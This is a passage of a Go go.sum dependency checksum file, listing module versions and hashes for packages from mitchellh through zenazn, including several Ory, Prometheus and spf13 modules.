h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s= github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/mapstructure v1.3.3/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/mapstructure v1.4.1/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/reflectwalk v1.0.0/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw= github.com/mitchellh/reflectwalk v1.0.2 h1:G2LzWKi524PWgd3mLHV8Y5k7s6XUvT0Gef6zxSIeXaQ= github.com/mitchellh/reflectwalk v1.0.2/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw= github.com/moby/sys/mountinfo v0.5.0/go.mod h1:3bMD3Rg+zkqx8MRYPi7Pyb0Ie97QEBmdxbhnCLlSvSU= github.com/moby/term v0.5.0 h1:xt8Q1nalod/v7BqbG21f8mQPqH+xAaC9C3N3wfWbVP0= github.com/moby/term v0.5.0/go.mod h1:8FzsFHVUBGZdbDsJw/ot+X+d5HLUbvklYLJ9uGfcI3Y= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= github.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826 h1:RWengNIwukTxcDr9M+97sNutRR1RKhG96O6jWumTTnw= github.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826/go.mod h1:TaXosZuwdSHYgviHp1DAtfrULt5eUgsSMsZf+YrPgl8= github.com/montanaflynn/stats v0.0.0-20171201202039-1bf9dbcd8cbe/go.mod h1:wL8QJuTMNUDYhXwkmfOly8iTdp5TEcJFWZD2D7SIkUc= github.com/morikuni/aec v1.0.0 h1:nP9CBfwrvYnBRgY6qfDQkygYDmYwOilePFkwzv4dU8A= github.com/mrunalp/fileutils v0.5.0/go.mod h1:M1WthSahJixYnrXQl/DFQuteStB1weuxD2QJNHXfbSQ= github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno= github.com/nyaruka/phonenumbers v1.1.7 h1:5UUI9hE79Kk0dymSquXbMYB7IlNDNhvu2aNlJpm9et8= github.com/nyaruka/phonenumbers v1.1.7/go.mod h1:DC7jZd321FqUe+qWSNcHi10tyIyGNXGcNbfkPvdp1Vs= github.com/oklog/ulid v1.3.1 h1:EGfNDEx6MqHz8B3uNV6QAib1UR2Lm97sHi3ocA6ESJ4= github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U= github.com/oleiade/reflections v1.0.1 h1:D1XO3LVEYroYskEsoSiGItp9RUxG6jWnCVvrqH0HHQM= github.com/oleiade/reflections v1.0.1/go.mod h1:rdFxbxq4QXVZWj0F+e9jqjDkc7dbp97vkRixKo2JR60= github.com/opencontainers/go-digest v1.0.0 h1:apOUWs51W5PlhuyGyz9FCeeBIOUDA/6nW8Oi/yOhh5U= github.com/opencontainers/go-digest v1.0.0/go.mod h1:0JzlMkj0TRzQZfJkVvzbP0HBR3IKzErnv2BNG4W4MAM= github.com/opencontainers/image-spec v1.1.0-rc4 h1:oOxKUJWnFC4YGHCCMNql1x4YaDfYBTS5Y4x/Cgeo1E0= github.com/opencontainers/image-spec v1.1.0-rc4/go.mod h1:X4pATf0uXsnn3g5aiGIsVnJBR4mxhKzfwmvK/B2NTm8= github.com/opencontainers/runc v1.1.8 h1:zICRlc+C1XzivLc3nzE+cbJV4LIi8tib6YG0MqC6OqA= github.com/opencontainers/runc v1.1.8/go.mod h1:CbUumNnWCuTGFukNXahoo/RFBZvDAgRh/smNYNOhA50= github.com/opencontainers/runtime-spec v1.0.3-0.20210326190908-1c3f411f0417/go.mod h1:jwyrGlmzljRJv/Fgzds9SsS/C5hL+LL3ko9hs6T5lQ0= github.com/opencontainers/selinux v1.10.0/go.mod h1:2i0OySw99QjzBBQByd1Gr9gSjvuho1lHsJxIJ3gGbJI= github.com/opentracing/opentracing-go v1.2.0/go.mod h1:GxEUsuufX4nBwe+T+Wl9TAgYrxe9dPLANfrWvHYVTgc= github.com/openzipkin/zipkin-go v0.4.1 h1:kNd/ST2yLLWhaWrkgchya40TJabe8Hioj9udfPcEO5A= github.com/openzipkin/zipkin-go v0.4.1/go.mod h1:qY0VqDSN1pOBN94dBc6w2GJlWLiovAyg7Qt6/I9HecM= github.com/ory/analytics-go/v5 v5.0.1 h1:LX8T5B9FN8KZXOtxgN+R3I4THRRVB6+28IKgKBpXmAM= github.com/ory/analytics-go/v5 v5.0.1/go.mod h1:lWCiCjAaJkKfgR/BN5DCLMol8BjKS1x+4jxBxff/FF0= github.com/ory/dockertest/v3 v3.10.0 h1:4K3z2VMe8Woe++invjaTB7VRyQXQy5UY+loujO4aNE4= github.com/ory/dockertest/v3 v3.10.0/go.mod h1:nr57ZbRWMqfsdGdFNLHz5jjNdDb7VVFnzAeW1n5N1Lg= github.com/ory/fosite v0.44.1-0.20230807113540-d4605bb2b3a6 h1:pJLf9Gx4CfhE+M0lP/xXTg8YeT8t0V7mBMC4oXACyDQ= github.com/ory/fosite v0.44.1-0.20230807113540-d4605bb2b3a6/go.mod h1:fkMPsnm/UjiefE9dE9CdZQGOH48TWJLIzUcdGIXg8Kk= github.com/ory/go-acc v0.2.9-0.20230103102148-6b1c9a70dbbe h1:rvu4obdvqR0fkSIJ8IfgzKOWwZ5kOT2UNfLq81Qk7rc= github.com/ory/go-acc v0.2.9-0.20230103102148-6b1c9a70dbbe/go.mod h1:z4n3u6as84LbV4YmgjHhnwtccQqzf4cZlSk9f1FhygI= github.com/ory/go-convenience v0.1.0 h1:zouLKfF2GoSGnJwGq+PE/nJAE6dj2Zj5QlTgmMTsTS8= github.com/ory/go-convenience v0.1.0/go.mod h1:uEY/a60PL5c12nYz4V5cHY03IBmwIAEm8TWB0yn9KNs= github.com/ory/graceful v0.1.3 h1:FaeXcHZh168WzS+bqruqWEw/HgXWLdNv2nJ+fbhxbhc= github.com/ory/graceful v0.1.3/go.mod h1:4zFz687IAF7oNHHiB586U4iL+/4aV09o/PYLE34t2bA= github.com/ory/herodot v0.10.3-0.20230626083119-d7e5192f0d88 h1:J0CIFKdpUeqKbVMw7pQ1qLtUnflRM1JWAcOEq7Hp4yg= github.com/ory/herodot v0.10.3-0.20230626083119-d7e5192f0d88/go.mod h1:MMNmY6MG1uB6fnXYFaHoqdV23DTWctlPsmRCeq/2+wc= github.com/ory/jsonschema/v3 v3.0.8 h1:Ssdb3eJ4lDZ/+XnGkvQS/te0p+EkolqwTsDOCxr/FmU= github.com/ory/jsonschema/v3 v3.0.8/go.mod h1:ZPzqjDkwd3QTnb2Z6PAS+OTvBE2x5i6m25wCGx54W/0= github.com/ory/kratos-client-go v0.13.1 h1:o+pFV9ZRMFSBa4QeNJYbJeLz036UWU4p+7yfKghK+0E= github.com/ory/kratos-client-go v0.13.1/go.mod h1:hkrFJuHSBQw+qN6Ks0faOAYhAKwtpjvhCZzsQ7g/Ufc= github.com/ory/x v0.0.582-0.20230816082414-f1e6acad79b5 h1:uGhg4sGK1R+pJYbaJkJVw0DO4gePR4NaIUj5+B4R76U= github.com/ory/x v0.0.582-0.20230816082414-f1e6acad79b5/go.mod h1:tgk6em/hJrDRmWAlM2g1hSNnE6rmCOk4eQ/q53/2kZc= github.com/pborman/uuid v1.2.1 h1:+ZZIw58t/ozdjRaXh/3awHfmWRbzYxJoAdNJxe/3pvw= github.com/pborman/uuid v1.2.1/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k= github.com/pelletier/go-toml v1.7.0/go.mod h1:vwGMzjaWMwyfHwgIBhI2YUM4fB6nL6lVAvS1LBMMhTE= github.com/pelletier/go-toml v1.9.5 h1:4yBQzkHv+7BHq2PQUZF3Mx0IYxG7LsP222s7Agd3ve8= github.com/pelletier/go-toml v1.9.5/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= github.com/pelletier/go-toml/v2 v2.0.9 h1:uH2qQXheeefCCkuBBSLi7jCiSmj3VRh2+Goq2N7Xxu0= github.com/pelletier/go-toml/v2 v2.0.9/go.mod h1:tJU2Z3ZkXwnxa4DPO899bsyIoywizdUvyaeZurnPPDc= github.com/phayes/freeport v0.0.0-20180830031419-95f893ade6f2 h1:JhzVVoYvbOACxoUmOs6V/G4D5nPVUW73rKvXxP4XUJc= github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e h1:aoZm08cpOy4WuID//EZDgcC4zIxODThtZNPirFr42+A= github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/profile v1.7.0 h1:hnbDkaNWPCLMO9wGLdBFTIZvzDrDfBM2072E1S9gJkA= github.com/pkg/profile v1.7.0/go.mod h1:8Uer0jas47ZQMJ7VD+OHknK4YDY07LPUC6dEvqDjvNo= github.com/pkg/sftp v1.13.1/go.mod h1:3HaPG6Dq1ILlpPZRO0HVMrsydcdLt6HRDccSgb87qRg= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/prashantv/gostub v1.1.0 h1:BTyx3RfQjRHnUWaGF9oQos79AlQ5k8WNktv7VGvVH4g= github.com/prometheus/client_golang v1.16.0 h1:yk/hx9hDbrGHovbci4BY+pRMfSuuat626eFsHb7tmT8= github.com/prometheus/client_golang v1.16.0/go.mod h1:Zsulrv/L9oM40tJ7T815tM89lFEugiJ9HzIqaAx4LKc= github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/prometheus/client_model v0.4.0 h1:5lQXD3cAg1OXBf4Wq03gTrXHeaV0TQvGfUooCfx1yqY= github.com/prometheus/client_model v0.4.0/go.mod h1:oMQmHW1/JoDwqLtg57MGgP/Fb1CJEYF2imWWhWtMkYU= github.com/prometheus/common v0.44.0 h1:+5BrQJwiBB9xsMygAB3TNvpQKOwlkc25LbISbrdOOfY= github.com/prometheus/common v0.44.0/go.mod h1:ofAIvZbQ1e/nugmZGz4/qCb9Ap1VoSTIO7x0VV9VvuY= github.com/prometheus/procfs v0.11.1 h1:xRC8Iq1yyca5ypa9n1EZnWZkt7dwcoRPQwX/5gwaUuI= github.com/prometheus/procfs v0.11.1/go.mod h1:eesXgaPo1q7lBpVMoMy0ZOFTth9hBn4W/y0/p/ScXhY= github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ= github.com/rogpeppe/go-internal v1.1.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= github.com/rogpeppe/go-internal v1.2.2/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= github.com/rogpeppe/go-internal v1.11.0 h1:cWPaGQEPrBb5/AsnsZesgZZ9yb1OQ+GOISoDNXVBh4M= github.com/rogpeppe/go-internal v1.11.0/go.mod h1:ddIwULY96R17DhadqLgMfk9H9tvdUzkipdSkR5nkCZA= github.com/rs/cors v1.9.0 h1:l9HGsTsHJcvW14Nk7J9KFz8bzeAWXn3CG6bgt7LsrAE= github.com/rs/cors v1.9.0/go.mod h1:XyqrcTp5zjWr1wsJ8PIRZssZ8b/WMcMf71DJnit4EMU= github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ= github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThCjNc= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/sawadashota/encrypta v0.0.3 h1:NWo2S6oBzZmD/tlm6iH1eYLZA99NsFPvc33MhklME6o= github.com/sawadashota/encrypta v0.0.3/go.mod h1:W3Nja83iH22fOS8sGgKCf4rCehZqLrca1+oQbtFUFck= github.com/seatgeek/logrus-gelf-formatter v0.0.0-20210414080842-5b05eb8ff761 h1:0b8DF5kR0PhRoRXDiEEdzrgBc8UqVY4JWLkQJCRsLME= github.com/seatgeek/logrus-gelf-formatter v0.0.0-20210414080842-5b05eb8ff761/go.mod h1:/THDZYi7F/BsVEcYzYPqdcWFQ+1C2InkawTKfLOAnzg= github.com/seccomp/libseccomp-golang v0.9.2-0.20220502022130-f33da4d89646/go.mod h1:JA8cRccbGaA1s33RQf7Y1+q9gHmZX1yB/z9WDN1C6fg= github.com/segmentio/analytics-go v3.1.0+incompatible/go.mod h1:C7CYBtQWk4vRk2RyLu0qOcbHJ18E3F1HV2C/8JvKN48= github.com/segmentio/backo-go v0.0.0-20200129164019-23eae7c10bd3/go.mod h1:9/Rh6yILuLysoQnZ2oNooD2g7aBnvM7r/fNVxRNWfBc= github.com/segmentio/backo-go v1.0.1 h1:68RQccglxZeyURy93ASB/2kc9QudzgIDexJ927N++y4= github.com/segmentio/backo-go v1.0.1/go.mod h1:9/Rh6yILuLysoQnZ2oNooD2g7aBnvM7r/fNVxRNWfBc= github.com/segmentio/conf v1.2.0/go.mod h1:Y3B9O/PqqWqjyxyWWseyj/quPEtMu1zDp/kVbSWWaB0= github.com/segmentio/go-snakecase v1.1.0/go.mod h1:jk1miR5MS7Na32PZUykG89Arm+1BUSYhuGR6b7+hJto= github.com/segmentio/objconv v1.0.1/go.mod h1:auayaH5k3137Cl4SoXTgrzQcuQDmvuVtZgS0fb1Ahys= github.com/sergi/go-diff v1.2.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM= github.com/sergi/go-diff v1.3.1 h1:xkr+Oxo4BOQKmkn/B9eMK0g5Kg/983T9DqqPHwYqD+8= github.com/sergi/go-diff v1.3.1/go.mod h1:aMJSSKb2lpPvRNec0+w3fl7LP9IOFzdc9Pa4NFbPK1I= github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o= github.com/shopspring/decimal v1.3.1 h1:2Usl1nmF/WZucqkFZhnfFYxxxu8LG21F6nPQBE5gKV8= github.com/shopspring/decimal v1.3.1/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o= github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= github.com/sirupsen/logrus v1.4.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q= github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA= github.com/sourcegraph/annotate v0.0.0-20160123013949-f4cad6c6324d h1:yKm7XZV6j9Ev6lojP2XaIshpT4ymkqhMeSghO5Ps00E= github.com/sourcegraph/annotate v0.0.0-20160123013949-f4cad6c6324d/go.mod h1:UdhH50NIW0fCiwBSr0co2m7BnFLdv4fQTgdqdJTHFeE= github.com/sourcegraph/syntaxhighlight v0.0.0-20170531221838-bd320f5d308e h1:qpG93cPwA5f7s/ZPBJnGOYQNK/vKsaDaseuKT5Asee8= github.com/sourcegraph/syntaxhighlight v0.0.0-20170531221838-bd320f5d308e/go.mod h1:HuIsMU8RRBOtsCgI77wP899iHVBQpCmg4ErYMZB+2IA= github.com/spf13/afero v1.9.5 h1:stMpOSZFs//0Lv29HduCmli3GUfpFoF3Y1Q/aXj/wVM= github.com/spf13/afero v1.9.5/go.mod h1:UBogFpq8E9Hx+xc5CNTTEpTnuHVmXDwZcZcE1eb/UhQ= github.com/spf13/cast v1.3.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= github.com/spf13/cast v1.5.1 h1:R+kOtfhWQE6TVQzY+4D7wJLBgkdVasCEFxSUBYBYIlA= github.com/spf13/cast v1.5.1/go.mod h1:b9PdjNptOpzXr7Rq1q9gJML/2cdGQAo69NKzQ10KN48= github.com/spf13/cobra v0.0.3/go.mod h1:1l0Ry5zgKvJasoi3XT1TypsSe7PqH0Sj9dhYf7v3XqQ= github.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY= github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I= github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0= github.com/spf13/jwalterweatherman v1.1.0 h1:ue6voC5bR5F8YxI5S67j9i582FU4Qvo2bmqnqMYADFk= github.com/spf13/jwalterweatherman v1.1.0/go.mod h1:aNWZUN0dPAAO/Ljvb5BEdw96iTZ0EXowPYD95IqWIGo= github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/spf13/viper v1.16.0 h1:rGGH0XDZhdUOryiDWjmIvUSWpbNqisK8Wk0Vyefw8hc= github.com/spf13/viper v1.16.0/go.mod h1:yg78JgCJcbrQOvV9YLXgkLaZqUidkY9K+Dd1FofRzQg= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0 h1:1zr/of2m5FGMsad5YfcqgdqdWrIhu+EBEJRhR1U7z/c= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= github.com/subosito/gotenv v1.4.2 h1:X1TuBLAMDFbaTAChgCBLu3DU3UPyELpnF2jjJ2cz/S8= github.com/subosito/gotenv v1.4.2/go.mod h1:ayKnFf/c6rvx/2iiLrJUk1e6plDbT3edrFNGqEflhK0= github.com/syndtr/gocapability v0.0.0-20200815063812-42c35b437635/go.mod h1:hkRG7XYTFWNJGYcbNJQlaLq0fg1yr4J4t/NcTQtrfww= github.com/thales-e-security/pool v0.0.2 h1:RAPs4q2EbWsTit6tpzuvTFlgFRJ3S8Evf5gtvVDbmPg= github.com/thales-e-security/pool v0.0.2/go.mod h1:qtpMm2+thHtqhLzTwgDBj/OuNnMpupY8mv0Phz0gjhU= github.com/tidwall/gjson v1.14.2/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= github.com/tidwall/gjson v1.15.0 h1:5n/pM+v3r5ujuNl4YLZLsQ+UE5jlkLVm7jMzT5Mpolw= github.com/tidwall/gjson v1.15.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA= github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM= github.com/tidwall/pretty v1.0.0/go.mod h1:XNkn88O1ChpSDQmQeStsy+sBenx6DDtFZJxhVysOjyk= github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU= github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4= github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU= github.com/tidwall/sjson v1.2.5 h1:kLy8mja+1c9jlljvWTlSazM7cKDRfJuR/bOJhcY5NcY= github.com/tidwall/sjson v1.2.5/go.mod h1:Fvgq9kS/6ociJEDnK0Fk1cpYF4FIW6ZF7LAe+6jwd28= github.com/tomnomnom/linkheader v0.0.0-20180905144013-02ca5825eb80 h1:nrZ3ySNYwJbSpD6ce9duiP+QkD3JuLCcWkdaehUS/3Y= github.com/tomnomnom/linkheader v0.0.0-20180905144013-02ca5825eb80/go.mod h1:iFyPdL66DjUD96XmzVL3ZntbzcflLnznH0fr99w5VqE= github.com/toqueteos/webbrowser v1.2.0 h1:tVP/gpK69Fx+qMJKsLE7TD8LuGWPnEV71wBN9rrstGQ= github.com/toqueteos/webbrowser v1.2.0/go.mod h1:XWoZq4cyp9WeUeak7w7LXRUQf1F1ATJMir8RTqb4ayM= github.com/twmb/murmur3 v1.1.8 h1:8Yt9taO/WN3l08xErzjeschgZU2QSrwm1kclYq+0aRg= github.com/twmb/murmur3 v1.1.8/go.mod h1:Qq/R7NUyOfr65zD+6Q5IHKsJLwP7exErjN6lyyq3OSQ= github.com/urfave/cli v1.22.1/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0= github.com/urfave/negroni v1.0.0 h1:kIimOitoypq34K7TG7DUaJ9kq/N4Ofuwi1sjz0KipXc= github.com/urfave/negroni v1.0.0/go.mod h1:Meg73S6kFm/4PpbYdq35yYWoCZ9mS/YSx+lKnmiohz4= github.com/vishvananda/netlink v1.1.0/go.mod h1:cTgwzPIzzgDAYoQrMm0EdrjRUBkTqKYppBueQtXaqoE= github.com/vishvananda/netns v0.0.0-20191106174202-0a2b9b5464df/go.mod h1:JP3t17pCcGlemwknint6hfoeCVQrEMVwxRLRjXpq+BU= github.com/xdg-go/pbkdf2 v1.0.0/go.mod h1:jrpuAogTd400dnrH08LKmI/xc1MbPOebTwRqcT5RDeI= github.com/xdg-go/scram v1.0.2/go.mod h1:1WAq6h33pAW+iRreB34OORO2Nf7qel3VV3fjBj+hCSs= github.com/xdg-go/scram v1.1.1/go.mod h1:RaEWvsqvNKKvBPvcKeFjrG2cJqOkHTiyTpzz23ni57g= github.com/xdg-go/scram v1.1.2/go.mod h1:RT/sEzTbU5y00aCK8UOx6R7YryM0iF1N2MOmC3kKLN4= github.com/xdg-go/stringprep v1.0.2/go.mod h1:8F9zXuvzgwmyT5DUm4GUfZGDdT3W+LCvS6+da4O5kxM= github.com/xdg-go/stringprep v1.0.3/go.mod h1:W3f5j4i+9rC0kuIEJL0ky1VpHXQU3ocBgklLGvcBnW8= github.com/xdg-go/stringprep v1.0.4/go.mod h1:mPGuuIYwz7CmR2bT9j4GbQqutWS1zV24gijq1dTyGkM= github.com/xeipuuv/gojsonpointer v0.0.0-20180127040702-4e3ac2762d5f/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU= github.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb h1:zGWFAtiMcyryUHoUjUJX0/lt1H2+i2Ka2n+D3DImSNo= github.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU= github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415 h1:EzJWgHovont7NscjpAxXsDA8S8BMYve8Y5+7cuRE7R0= github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415/go.mod h1:GwrjFmJcFw6At/Gs6z4yjiIwzuJ1/+UwLxMQDVQXShQ= github.com/xeipuuv/gojsonschema v1.2.0 h1:LhYJRs+L4fBtjZUfuSZIKGeVu0QRy8e5Xi7D17UxZ74= github.com/xeipuuv/gojsonschema v1.2.0/go.mod h1:anYRn/JVcOK2ZgGU+IjEV4nwlhoK5sQluxsYJ78Id3Y= github.com/xtgo/uuid v0.0.0-20140804021211-a0b114877d4c h1:3lbZUMbMiGUW/LMkfsEABsc5zNT9+b1CvsJx47JzJ8g= github.com/xtgo/uuid v0.0.0-20140804021211-a0b114877d4c/go.mod h1:UrdRz5enIKZ63MEE3IF9l2/ebyx59GyGgPi+tICQdmM= github.com/youmark/pkcs8 v0.0.0-20181117223130-1be2e3e5546d/go.mod h1:rHwXgn7JulP+udvsHwJoVG1YGAP6VLg4y9I5dyZdqmA= github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= github.com/zenazn/goji v0.9.0/go.mod 